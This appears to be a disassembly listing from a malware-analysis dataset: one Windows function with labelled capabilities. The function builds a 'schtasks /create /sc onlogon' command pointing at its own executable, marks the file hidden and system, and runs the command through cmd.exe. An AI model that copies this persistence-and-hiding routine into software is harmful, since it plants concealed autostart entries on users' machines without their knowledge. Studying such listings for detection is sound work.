Function at 0x403590
Capabilities:
Create process on windows
Schedule task via schtasks
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea eax, [ebp - 0x1a4]
sub esp, 0x1ec
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1a8], 0
mov byte [ebp - 0x1a4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ebx, [ebp - 0x11c]
sub esp, 4
mov dword [esp + 8], 0x104
mov dword [esp], eax
mov dword [esp + 4], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x18c]
sub esp, 0xc
mov edi, ebx
mov dword [ebp - 0x194], esi
mov edx, dword [edi]
add edi, 4
lea eax, [edx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x4035f5
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea edx, [edi + 2]
cmove edi, edx
mov edx, eax
add dl, al
sbb edi, 3
sub edi, ebx
cmp edi, 0xf
mov dword [ebp - 0x134], edi
ja 0x403b60
cmp edi, 1
je 0x403bb2
test edi, edi
mov eax, esi
jne 0x403b91
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x190], edi
mov byte [eax + edi], 0
mov dword [esp], 0x4ec2e1
call fcn.00466ff0
sub esp, 4
test eax, eax
je 0x4038a0
lea eax, [ebp - 0x174]
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x178], 0
mov byte [ebp - 0x174], 0
mov dword [ebp - 0x17c], eax
mov eax, dword [0x545054]
add eax, 0x28
mov dword [esp], eax
call fcn.004c3d10
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x178]
sub esp, 4
cmp eax, 0x27
jbe 0x403d8d
lea ecx, [ebp - 0x17c]
mov dword [esp + 4], 0x28
mov dword [esp], str._c_schtasks__create__sc_onlogon__f__tn__
call fcn.004c3eb0
mov eax, dword [0x545054]
sub esp, 8
lea ecx, [ebp - 0x17c]
mov dword [esp + 4], eax
mov eax, dword [0x545050]
mov dword [esp], eax
call fcn.004c3eb0
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x178]
sub esp, 8
cmp eax, 6
jbe 0x403e05
lea ecx, [ebp - 0x17c]
mov dword [esp + 4], 7
mov dword [esp], str.___tr__
call fcn.004c3eb0
lea edi, [ebp - 0x144]
lea edx, [eax + 8]
sub esp, 8
mov dword [ebp - 0x14c], edi
mov ecx, dword [eax]
mov dword [ebp - 0x1bc], edi
cmp ecx, edx
je 0x403c20
mov dword [ebp - 0x14c], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x144], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x148], ecx
mov dword [eax], edx
lea ecx, [ebp - 0x14c]
mov dword [eax + 4], 0
mov byte [eax + 8], 0
mov eax, dword [ebp - 0x190]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x194]
mov dword [esp], eax
call fcn.004c3eb0
lea edi, [ebp - 0x12c]
lea edx, [eax + 8]
sub esp, 8
mov dword [ebp - 0x134], edi
mov ecx, dword [eax]
cmp ecx, edx
je 0x403bd0
mov dword [ebp - 0x134], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x12c], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x130], ecx
mov dword [eax + 4], 0
mov byte [eax + 8], 0
cmp dword [ebp - 0x130], 0x7fffffff
mov dword [eax], edx
je 0x403e13
lea ecx, [ebp - 0x134]
mov dword [esp + 4], 1
mov dword [esp], 0x4ec315
call fcn.004c3eb0
lea edx, [ebp - 0x114]
sub esp, 8
mov dword [ebp - 0x11c], edx
mov ecx, dword [eax]
mov dword [ebp - 0x1c0], edx
lea edx, [eax + 8]
cmp ecx, edx
je 0x403d40
mov dword [ebp - 0x11c], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x114], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x1ac]
mov dword [eax], edx
mov dword [eax + 4], 0
mov byte [eax + 8], 0
mov dword [esp], ebx
call fcn.004c28e0
mov eax, dword [ebp - 0x11c]
sub esp, 4
cmp eax, dword [ebp - 0x1c0]
je 0x40385f
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x134]
cmp eax, edi
je 0x403871
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x1bc]
je 0x403887
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x17c]
lea ebx, [ebp - 0x174]
cmp eax, ebx
jne 0x403aca
jmp 0x403ad2
lea eax, [ebp - 0x15c]
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x160], 0
mov byte [ebp - 0x15c], 0
mov dword [ebp - 0x164], eax
mov eax, dword [0x545054]
add eax, 0x25
mov dword [esp], eax
call fcn.004c3d10
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x160]
sub esp, 4
cmp eax, 0x24
jbe 0x403d99
lea ecx, [ebp - 0x164]
mov dword [esp + 4], 0x25
mov dword [esp], str._c_schtasks__create__sc_onlogon__tn__
call fcn.004c3eb0
mov eax, dword [0x545054]
sub esp, 8
lea ecx, [ebp - 0x164]
mov dword [esp + 4], eax
mov eax, dword [0x545050]
mov dword [esp], eax
call fcn.004c3eb0
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x160]
sub esp, 8
cmp eax, 6
jbe 0x403e8a
lea ecx, [ebp - 0x164]
mov dword [esp + 4], 7
mov dword [esp], str.___tr__
call fcn.004c3eb0
lea edi, [ebp - 0x144]
lea edx, [eax + 8]
sub esp, 8
mov dword [ebp - 0x14c], edi
mov ecx, dword [eax]
mov dword [ebp - 0x1bc], edi
cmp ecx, edx
je 0x403cb0
mov dword [ebp - 0x14c], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x144], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x148], ecx
mov dword [eax], edx
lea ecx, [ebp - 0x14c]
mov dword [eax + 4], 0
mov byte [eax + 8], 0
mov eax, dword [ebp - 0x190]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x194]
mov dword [esp], eax
call fcn.004c3eb0
lea edi, [ebp - 0x12c]
lea edx, [eax + 8]
sub esp, 8
mov dword [ebp - 0x134], edi
mov ecx, dword [eax]
cmp ecx, edx
je 0x403c61
mov dword [ebp - 0x134], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x12c], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x130], ecx
mov dword [eax + 4], 0
mov byte [eax + 8], 0
cmp dword [ebp - 0x130], 0x7fffffff
mov dword [eax], edx
je 0x403e4b
lea ecx, [ebp - 0x134]
mov dword [esp + 4], 1
mov dword [esp], 0x4ec315
call fcn.004c3eb0
lea edx, [ebp - 0x114]
sub esp, 8
mov dword [ebp - 0x11c], edx
mov ecx, dword [eax]
mov dword [ebp - 0x1c0], edx
lea edx, [eax + 8]
cmp ecx, edx
je 0x403cf1
mov dword [ebp - 0x11c], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x114], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x1ac]
mov dword [eax], edx
mov dword [eax + 4], 0
mov byte [eax + 8], 0
mov dword [esp], ebx
call fcn.004c28e0
mov eax, dword [ebp - 0x11c]
sub esp, 4
cmp eax, dword [ebp - 0x1c0]
je 0x403a92
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x134]
cmp eax, edi
je 0x403aa4
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x1bc]
je 0x403aba
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x164]
lea ebx, [ebp - 0x15c]
cmp eax, ebx
je 0x403ad2
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x194]
mov dword [esp + 4], 6
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x1ac]
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp + 0xc], eax
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x194]
sub esp, 0x18
cmp eax, esi
je 0x403b38
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x1ac]
lea esi, [ebp - 0x1a4]
cmp eax, esi
je 0x403b50
mov dword [esp], eax
call fcn.004e0b90
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x194]
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004c4000
mov edx, dword [ebp - 0x134]
sub esp, 8
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x18c], edx
mov dword [esp + 8], edi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov edi, dword [ebp - 0x134]
mov eax, dword [ebp - 0x194]
jmp 0x403649
movzx eax, byte [ebp - 0x11c]
mov byte [ebp - 0x18c], al
mov eax, esi
jmp 0x403649
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x1c0], ecx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x1c4], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x1c8], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x12c], ecx
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0x128], ecx
mov ecx, dword [ebp - 0x1c4]
mov dword [ebp - 0x124], ecx
mov ecx, dword [ebp - 0x1c8]
mov dword [ebp - 0x120], ecx
jmp 0x4037b1
mov edi, dword [eax + 0xc]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x1c0], edi
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x1c4], edi
mov edi, dword [eax + 8]
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x144], edi
mov edi, dword [ebp - 0x1c0]
mov dword [ebp - 0x140], edi
mov edi, dword [ebp - 0x1c4]
mov dword [ebp - 0x13c], edi
jmp 0x403752
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x1c0], ecx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x1c4], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x1c8], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x12c], ecx
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0x128], ecx
mov ecx, dword [ebp - 0x1c4]
mov dword [ebp - 0x124], ecx
mov ecx, dword [ebp - 0x1c8]
mov dword [ebp - 0x120], ecx
jmp 0x4039e4
mov edi, dword [eax + 0xc]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x1c0], edi
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x1c4], edi
mov edi, dword [eax + 8]
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x144], edi
mov edi, dword [ebp - 0x1c0]
mov dword [ebp - 0x140], edi
mov edi, dword [ebp - 0x1c4]
mov dword [ebp - 0x13c], edi
jmp 0x403985
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x1c4], ecx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x1c8], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x1cc], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x114], ecx
mov ecx, dword [ebp - 0x1c4]
mov dword [ebp - 0x110], ecx
mov ecx, dword [ebp - 0x1c8]
mov dword [ebp - 0x10c], ecx
mov ecx, dword [ebp - 0x1cc]
mov dword [ebp - 0x108], ecx
jmp 0x403a55
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x1c4], ecx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x1c8], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x1cc], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x114], ecx
mov ecx, dword [ebp - 0x1c4]
mov dword [ebp - 0x110], ecx
mov ecx, dword [ebp - 0x1c8]
mov dword [ebp - 0x10c], ecx
mov ecx, dword [ebp - 0x1cc]
mov dword [ebp - 0x108], ecx
jmp 0x403822
mov dword [esp], 0x4ec08e
call fcn.004da9d0
mov dword [esp], 0x4ec08e
call fcn.004da9d0
mov ebx, eax
mov eax, dword [ebp - 0x164]
lea edi, [ebp - 0x15c]
cmp eax, edi
je 0x403dbf
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x194]
cmp eax, esi
je 0x403dd1
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x1ac]
lea esi, [ebp - 0x1a4]
cmp eax, esi
je 0x403de9
mov dword [esp], eax
call fcn.004e0b90
mov dword [esp], ebx
call fcn.00441150
mov ebx, eax
mov eax, dword [ebp - 0x17c]
lea edi, [ebp - 0x174]
cmp eax, edi
jne 0x403db7
jmp 0x403dbf
mov dword [esp], 0x4ec08e
call fcn.004da9d0
jmp 0x403df1
mov dword [esp], 0x4ec08e
call fcn.004da9d0
mov ebx, eax
mov eax, dword [ebp - 0x134]
cmp eax, edi
je 0x403e33
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x1bc]
je 0x403df3
mov dword [esp], eax
call fcn.004e0b90
jmp 0x403df3
mov dword [esp], 0x4ec08e
call fcn.004da9d0
mov ebx, eax
mov eax, dword [ebp - 0x134]
cmp eax, edi
je 0x403e6b
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x1bc]
je 0x403da7
mov dword [esp], eax
call fcn.004e0b90
jmp 0x403da7
mov dword [esp], 0x4ec08e
call fcn.004da9d0
jmp 0x403da5